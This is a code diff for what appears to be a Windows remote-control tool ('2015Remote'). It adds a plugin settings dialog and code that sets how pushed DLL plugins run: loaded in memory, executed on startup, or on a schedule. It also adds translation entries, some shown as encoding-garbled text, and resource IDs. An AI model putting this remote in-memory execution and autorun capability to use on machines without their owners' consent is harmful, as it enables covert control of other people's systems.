更新 DllExecuteInfo + char* buf = (char*)dll->Data->Buf(); + if (dll->Data->length() < 1 + sizeof(DllExecuteInfo)) continue; + + DllExecuteInfo* info = reinterpret_cast(buf + 1); + info->RunType = cfg->RunType; + info->CallType = cfg->CallType; + info->Schedule.Mode = cfg->Mode; + info->Schedule.Flags = cfg->Flags; + info->Schedule.Config.Startup.Interval = cfg->Interval; + info->Schedule.MaxCount = cfg->MaxCount; + } +} diff --git a/server/2015Remote/PluginSettingsDlg.h b/server/2015Remote/PluginSettingsDlg.h new file mode 100644 index 0000000..348abf5 --- /dev/null +++ b/server/2015Remote/PluginSettingsDlg.h @@ -0,0 +1,73 @@ +#pragma once + +#include "resource.h" +#include "LangManager.h" +#include "common/commands.h" +#include "common/scheduler.h" +#include +#include + +// 前向声明 +struct DllInfo; + +// 插件配置结构体(用于 JSON 存储) +struct PluginConfig { + std::string Name; // 插件名称(作为唯一标识) + std::string Md5; // MD5 + int RunType; // 运行类型 + int CallType; // 调用方式 + unsigned char Mode; // 调度模式 + unsigned char Flags; // 标志位 + unsigned int Interval; // 间隔(秒) + unsigned char MaxCount; // 最大次数 + + PluginConfig() : RunType(MEMORYDLL), CallType(CALLTYPE_IOCPTHREAD), Mode(SCH_MODE_NONE), Flags(0), Interval(0), MaxCount(0) {} +}; + +// 插件设置对话框 +class CPluginSettingsDlg : public CDialogLangEx +{ +public: + CPluginSettingsDlg(std::vector& dllList, CWnd* pParent = nullptr); + virtual ~CPluginSettingsDlg(); + + enum { IDD = IDD_DIALOG_PLUGIN_SETTINGS }; + + // 静态方法:加载插件配置 + static std::vector LoadPluginConfigs(); + // 静态方法:保存插件配置 + static void SavePluginConfigs(const std::vector& configs); + // 静态方法:获取配置文件路径 + static std::string GetPluginConfigPath(); + // 静态方法:根据配置更新 DllInfo(Patch) + static void PatchDllList(std::vector& dllList); + +protected: + virtual void DoDataExchange(CDataExchange* pDX); + virtual BOOL OnInitDialog(); + + DECLARE_MESSAGE_MAP() + + afx_msg void OnBnClickedBtnSave(); + afx_msg void OnLvnItemchangedListPlugins(NMHDR* pNMHDR, LRESULT* pResult); + +private: + void InitListCtrl(); + void LoadPluginsToList(); + void UpdateSelectedPluginInfo(); + void SaveCurrentPluginConfig(); + PluginConfig* FindConfig(const std::string& name); + +private: + std::vector& m_DllList; // 引用主对话框的 DLL 列表 + std::vector m_Configs; // 插件配置列表 + int m_nSelectedIndex; // 当前选中的列表项索引 + + // 控件变量 + CListCtrl m_listPlugins; + CComboBox m_comboRunType; + CComboBox m_comboCallType; + CComboBox m_comboMode; + CEdit m_editInterval; + CEdit m_editMaxCount; +}; diff --git a/server/2015Remote/lang/en_US.ini b/server/2015Remote/lang/en_US.ini index fafee32..2460d02 100644 --- a/server/2015Remote/lang/en_US.ini +++ b/server/2015Remote/lang/en_US.ini @@ -1773,3 +1773,33 @@ Web ڲ˵Web˿!=Please set Web liscening port! û YAMA_PWD ʹWebԶ!=Please set YAMA_PWD to use Web SimpleRemoter! WebԶʹ÷ϵԱ!=If you need to use Web SimpleRemoter in WAN, please contact administrator! +; Plugin Settings Dialog - English Translation +; Format: Simplified Chinese=English + +ڴDLL=Memory DLL +Զ=Auto Detect +IOCP߳=IOCP Thread +ԶFRPC[]=Custom FRPC [Unavailable] +׼FRPC[]=Standard FRPC [Unavailable] +Զִ=No Auto Execute +ִ=Execute on Startup +ÿնʱ[δʵ]=Daily Schedule [Not Implemented] +ÿܶʱ[δʵ]=Weekly Schedule [Not Implemented] +=Name +С=Size +=Run Type +ģʽ=Schedule Mode +=Plugin Parameters +:=Run Type: +÷ʽ:=Call Type: +ģʽ:=Schedule Mode: +():=Interval (sec): +:=Max Count: +=Plugin Settings +ѡһ=Please select a plugin first +ʾ=Notice +ѱ=Configuration saved +(&S)=Save(&S) +ر=Close +(&S)=Plugin Settings(&S) +˿ - =Proxy Port - AutoRun diff --git a/server/2015Remote/lang/zh_TW.ini b/server/2015Remote/lang/zh_TW.ini index c627f92..b1d5898 100644 --- a/server/2015Remote/lang/zh_TW.ini +++ b/server/2015Remote/lang/zh_TW.ini @@ -1765,3 +1765,33 @@ FRPS ڲ˵Web˿!=ڲ˵Web˿! û YAMA_PWD ʹWebԶ!=û YAMA_PWD ʹWebԶ! WebԶʹ÷ϵԱ!=WebԶʹ÷ϵԱ! +; Plugin Settings Dialog - Traditional Chinese Translation +; Format: Simplified Chinese=Traditional Chinese + +ڴDLL=ӛwDLL +Զ=Ԅәzy +IOCP߳=IOCPоw +ԶFRPC[]=ӆFRPC[] +׼FRPC[]=˜FRPC[] +Զִ=Ԅӈ +ִ=ӈ +ÿնʱ[δʵ]=ÿնr[δF] +ÿܶʱ[δʵ]=ÿLr[δF] +=Q +С=С += +ģʽ=ųģʽ +=셢O +:=: +÷ʽ:=зʽ: +ģʽ:=ųģʽ: +():=g(): +:=Δ: +=O +ѡһ=Ոxһ +ʾ=ʾ +ѱ=Oу +(&S)=(&S) +ر=P] +(&S)=(&S) +˿ - =˿ - diff --git a/server/2015Remote/resource.h b/server/2015Remote/resource.h index 9157941..bd75b71 100644 --- a/server/2015Remote/resource.h +++ b/server/2015Remote/resource.h @@ -247,6 +247,7 @@ #define IDD_FEATURE_LIMITS 368 #define IDB_BITMAP8 369 #define IDB_BITMAP_CANCELSHARE 369 +#define IDD_DIALOG_PLUGIN_SETTINGS 370 #define IDC_MESSAGE 1000 #define IDC_ONLINE 1001 #define IDC_STATIC_TIPS 1002 @@ -705,6 +706,19 @@ #define IDC_STATIC_FEATURE_TIP 2522 #define IDC_STATIC_AUTH_HOSTNUM 2523 #define IDC_EDIT_AUTH_HOSTNUM 2524 +#define IDC_LIST_PLUGINS 2526 +#define IDC_COMBO_RUNTYPE_P 2527 +#define IDC_COMBO_CALLTYPE 2528 +#define IDC_COMBO_MODE 2529 +#define IDC_EDIT_INTERVAL 2530 +#define IDC_EDIT_MAXCOUNT 2531 +#define IDC_BTN_SAVE 2532 +#define IDC_STATIC_PLUGIN_SETTINGS 2533 +#define IDC_STATIC_PLUGIN_RUNTYPE 2534 +#define IDC_STATIC_PLUGIN_CALLTYPE 2535 +#define IDC_STATIC_PLUGIN_SCHEDULE 2536 +#define IDC_STATIC_PLUGIN_INTERVAL 2537 +#define IDC_STATIC_PLUGIN_COUNTER 2538 #define ID_ONLINE_UPDATE 32772 #define ID_ONLINE_MESSAGE 32773 #define ID_ONLINE_DELETE 32775 @@ -935,15 +949,18 @@ #define ID_CANCEL_SHARE 33042 #define ID_33043 33043 #define ID_WEB_REMOTE_CONTROL 33044 +#define ID_TOOL_PLUGIN_SETTINGS 33045 +#define ID_33046 33046 +#define ID_PROXY_PORT_AUTORUN 33047 #define ID_EXIT_FULLSCREEN 40001 // Next default values for new objects // #ifdef APSTUDIO_INVOKED #ifndef APSTUDIO_READONLY_SYMBOLS -#define _APS_NEXT_RESOURCE_VALUE 370 -#define _APS_NEXT_COMMAND_VALUE 33045 -#define _APS_NEXT_CONTROL_VALUE 2525 +#define _APS_NEXT_RESOURCE_VALUE 371 +#define _APS_NEXT_COMMAND_VALUE 33048 +#define _APS_NEXT_CONTROL_VALUE 2539 #define _APS_NEXT_SYMED_VALUE 105 #endif #endif